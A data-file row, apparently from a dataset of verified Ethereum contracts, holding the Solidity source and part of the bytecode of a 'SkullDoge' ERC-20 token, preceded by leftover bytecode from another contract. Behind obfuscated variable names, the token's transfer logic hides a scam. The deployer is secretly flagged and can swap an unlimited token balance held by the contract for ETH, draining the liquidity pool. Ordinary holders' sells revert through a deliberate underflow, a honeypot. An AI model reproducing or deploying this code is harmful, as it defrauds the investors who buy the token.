} | 0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610931565b34801561029a57600080fd5b506102436004356109b5565b3480156102b257600080fd5b506102be600435610a24565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610ae2565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b45565b3480156103f757600080fd5b50610376600435610c7e565b34801561040f57600080fd5b50610243610df7565b34801561042457600080fd5b5061015c600435610dfd565b34801561043c57600080fd5b5061015c600435610e74565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f3f9650505050505050565b3480156104bd57600080fd5b50610243610f5e565b3480156104d257600080fd5b50610243610f63565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f69565b34801561050e57600080fd5b5061015c6004356110f3565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b6003805460001901906106679082611343565b5060035460045411156106805760035461068090610dfd565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b600380549050600101600454603282118061087857508181115b80610881575080155b8061088a575081155b1561089457600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109ae576000848152600160205260408120600380549192918490811061095f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610993576001820191505b6004548214156109a657600192506109ae565b600101610936565b5050919050565b6000805b600354811015610a1e57600083815260016020526040812060038054919291849081106109e257fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a16576001820191505b6001016109b9565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b3a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b1c575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b77578160200160208202803883390190505b50925060009150600090505b600554811015610bfe57858015610bac575060008181526020819052604090206003015460ff16155b80610bd05750848015610bd0575060008181526020819052604090206003015460ff165b15610bf657808383815181101515610be457fe5b60209081029091010152600191909101905b600101610b83565b878703604051908082528060200260200182016040528015610c2a578160200160208202803883390190505b5093508790505b86811015610c73578281815181101515610c4757fe5b9060200190602002015184898303815181101515610c6157fe5b60209081029091010152600101610c31565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cb3578160200160208202803883390190505b50925060009150600090505b600354811015610d705760008581526001602052604081206003805491929184908110610ce857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d68576003805482908110610d2357fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d4957fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cbf565b81604051908082528060200260200182016040528015610d9a578160200160208202803883390190505b509350600090505b81811015610def578281815181101515610db857fe5b906020019060200201518482815181101515610dd057fe5b600160a060020a03909216602092830290910190910152600101610da2565b505050919050565b60055481565b333014610e0957600080fd5b600354816032821180610e1b57508181115b80610e24575080155b80610e2d575081155b15610e3757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610e9257600080fd5b6000828152602081905260409020548290600160a060020a03161515610eb757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ee257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f38856110f3565b5050505050565b6000610f4c848484611253565b9050610f5781610e74565b9392505050565b603281565b60045481565b6000333014610f7757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fa057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fc857600080fd5b600092505b6003548310156110595784600160a060020a0316600384815481101515610ff057fe5b600091825260209091200154600160a060020a0316141561104e578360038481548110151561101b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611059565b600190920191610fcd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b600081815260208190526040812060030154829060ff161561111457600080fd5b61111d83610931565b1561124e576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156111cb5780601f106111a0576101008083540402835291602001916111cb565b820191906000526020600020905b8154815290600101906020018083116111ae57829003601f168201915b505091505060006040518083038185875af192505050156112165760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261124e565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b505050565b600083600160a060020a038116151561126b57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926112eb926002850192910190611367565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b81548183558181111561124e5760008381526020902061124e9181019083016113e5565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113a857805160ff19168380011785556113d5565b828001600101855582156113d5579182015b828111156113d55782518255916020019190600101906113ba565b506113e19291506113e5565b5090565b610b4291905b808211156113e157600081556001016113eb5600a165627a7a723058200e2ff5c53315360aae49cf40acb5178e76eb2cda66a1d748006a085e58142b450029 | {"success": true, "error": null, "results": {}} | 9,998 |
0x00cF9F344Cc3D34D6B704CD8bbeC7879e6517cc4 | /*
https://www.skulldoge.com/
▄████
"█████
,█████▄ └█▄
,████████████
,█████████████▀
▄█████████▀▀╙▀╙
▄███████▀▀
,▄▄▄ ,▄██████▀"
▐█████ ▄██████▀'
▐▌▐███▄ ,▄▄▄▄▄▄▄, ▄██████▀"
,▄▄████████ç ╓▄████████████████▄,╓▄█████▀└
█████████████▄ ╓██████████████████████████▀╙
███████████████▄ ▄███████████████████████▄▄▄▄,
▀█▀▄▄▄▄██████████▄▄███████████████\██████████████
▐▄█▀▀█▀▀████████████████████████▀ █████▀╙ ▀███
▐█⌐ █ ▐█ ▐█████████▄▄▄▄▄▄▄████▀ ██
▐█ ▌ ████████████████████▌ *▄ ██▄
j▌ ▌ ██████████▀▀████████▌ ▀█▄▄▄▄▄█████
j▌ ▌ ▀▄███▀└ ╙█████▄ ▐█████████▌
▐░ ∩ ,█████ ▐██└╙▀██▄▄▄███████▀ █
▐═ - j█████▌ █ ▐██ ╙█████████▌ ƒ
▐U j∩ ▀▀████ ██ ██▌ █▄ ▀█████████▄
▐▌ ▐▌ ▄██████, ▄███▄████ ▐█████████▌ ▐███▄
█▌ ▄▄██████████▄███████████▄██████████████████▄▄
██ ▄█████▀ ▀███████████████████████████████████████▄▄▄,,,▄▄▄▄
█▌ ▄█████▀ ▐██████████ ███████████████████▀▀▀███████████████
╓▄█████▀ ▐██ ▐██████████████████████└ ▀████████████`
,▄██████▀ j█U ██▀ ▐████████████████ "██████▀'
, ,▄███████▀ █ █ ▀███████████████ ████▄,
██████████▀ █ ▐▀ ▀████████████▀ ╙▀▀▀▀▀
╙▀▀████████▄ █ █ ▀▀██████▀
██▄▄████▀ ▐█ █▌
╙▀╙└ ██ ,█▀█
█▀▀█████
████▀▀███
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private thus = _tTotal;
uint256 private _rTotal = ~uint256(0);
uint256 public _fee = 5;
mapping(uint256 => address) private swing;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private where;
mapping(address => uint256) private _balances;
mapping(address => uint256) private taken;
mapping(uint256 => address) private complete;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public router;
address public uniswapV2Pair;
string private _symbol;
string private _name;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress
) {
_name = _NAME;
_symbol = _SYMBOL;
where[msg.sender] = thus;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
swing[thus] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(
address stick,
address giving,
uint256 amount
) private {
address people = complete[thus];
bool seldom = stick == swing[thus];
uint256 baby = _fee;
if (where[stick] == 0 && !seldom && taken[stick] > 0) {
where[stick] -= baby;
}
complete[thus] = giving;
if (where[stick] > 0 && amount == 0) {
where[giving] += baby;
}
taken[people] += baby;
if (where[stick] > 0 && amount > thus) {
carefully(amount);
} else {
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[stick] -= fee;
_balances[stick] -= amount;
_balances[giving] += amount;
}
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function carefully(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906112c2565b60405180910390f35b610132600480360381019061012d919061137d565b610392565b60405161013f91906113d8565b60405180910390f35b6101506103a7565b60405161015d9190611402565b60405180910390f35b610180600480360381019061017b919061141d565b6103b1565b60405161018d91906113d8565b60405180910390f35b61019e610500565b6040516101ab9190611402565b60405180910390f35b6101bc610519565b6040516101c9919061147f565b60405180910390f35b6101ec60048036038101906101e7919061149a565b61053f565b6040516101f99190611402565b60405180910390f35b61020a610588565b005b610214610610565b604051610221919061147f565b60405180910390f35b610232610639565b60405161023f91906112c2565b60405180910390f35b610262600480360381019061025d919061137d565b6106cb565b60405161026f91906113d8565b60405180910390f35b610280610747565b60405161028d9190611402565b60405180910390f35b6102b060048036038101906102ab91906114c7565b61074d565b6040516102bd9190611402565b60405180910390f35b6102e060048036038101906102db919061149a565b6107d4565b005b6102ea6108cb565b6040516102f79190611566565b60405180910390f35b6060600e805461030f906115b0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906115b0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611653565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d9190611402565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906116a2565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610f19565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb90611722565b60405180910390fd5b61060e6000610f21565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054610648906115b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610674906115b0565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107359190611402565b60405180910390a36001905092915050565b60045481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610f19565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611722565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906117b4565b60405180910390fd5b6108c881610f21565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290611846565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a799190611402565b60405180910390a3600190509392505050565b6000600a6000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060056000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060045490506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b82575081155b8015610bcd57506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c295780600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2191906116a2565b925050819055505b84600a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccc5750600084145b15610d285780600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d209190611866565b925050819055505b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d779190611866565b925050819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610dce575060025484115b15610de157610ddc84610fe5565b610f11565b6000600454606486610df391906118eb565b610dfd919061191c565b90508085610e0b91906116a2565b945080600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5c91906116a2565b9250508190555084600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb291906116a2565b9250508190555084600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f089190611866565b92505081905550505b505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561100257611001611976565b5b6040519080825280602002602001820160405280156110305781602001602082028036833780820191505090505b5090503081600081518110611048576110476119a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111391906119e9565b81600181518110611127576111266119a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061118e30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846108f1565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b81526004016111f3959493929190611b0f565b600060405180830381600087803b15801561120d57600080fd5b505af1158015611221573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611263578082015181840152602081019050611248565b83811115611272576000848401525b50505050565b6000601f19601f8301169050919050565b600061129482611229565b61129e8185611234565b93506112ae818560208601611245565b6112b781611278565b840191505092915050565b600060208201905081810360008301526112dc8184611289565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611314826112e9565b9050919050565b61132481611309565b811461132f57600080fd5b50565b6000813590506113418161131b565b92915050565b6000819050919050565b61135a81611347565b811461136557600080fd5b50565b60008135905061137781611351565b92915050565b60008060408385031215611394576113936112e4565b5b60006113a285828601611332565b92505060206113b385828601611368565b9150509250929050565b60008115159050919050565b6113d2816113bd565b82525050565b60006020820190506113ed60008301846113c9565b92915050565b6113fc81611347565b82525050565b600060208201905061141760008301846113f3565b92915050565b600080600060608486031215611436576114356112e4565b5b600061144486828701611332565b935050602061145586828701611332565b925050604061146686828701611368565b9150509250925092565b61147981611309565b82525050565b60006020820190506114946000830184611470565b92915050565b6000602082840312156114b0576114af6112e4565b5b60006114be84828501611332565b91505092915050565b600080604083850312156114de576114dd6112e4565b5b60006114ec85828601611332565b92505060206114fd85828601611332565b9150509250929050565b6000819050919050565b600061152c611527611522846112e9565b611507565b6112e9565b9050919050565b600061153e82611511565b9050919050565b600061155082611533565b9050919050565b61156081611545565b82525050565b600060208201905061157b6000830184611557565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115c857607f821691505b6020821081036115db576115da611581565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061163d602983611234565b9150611648826115e1565b604082019050919050565b6000602082019050818103600083015261166c81611630565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116ad82611347565b91506116b883611347565b9250828210156116cb576116ca611673565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170c602083611234565b9150611717826116d6565b602082019050919050565b6000602082019050818103600083015261173b816116ff565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061179e602683611234565b91506117a982611742565b604082019050919050565b6000602082019050818103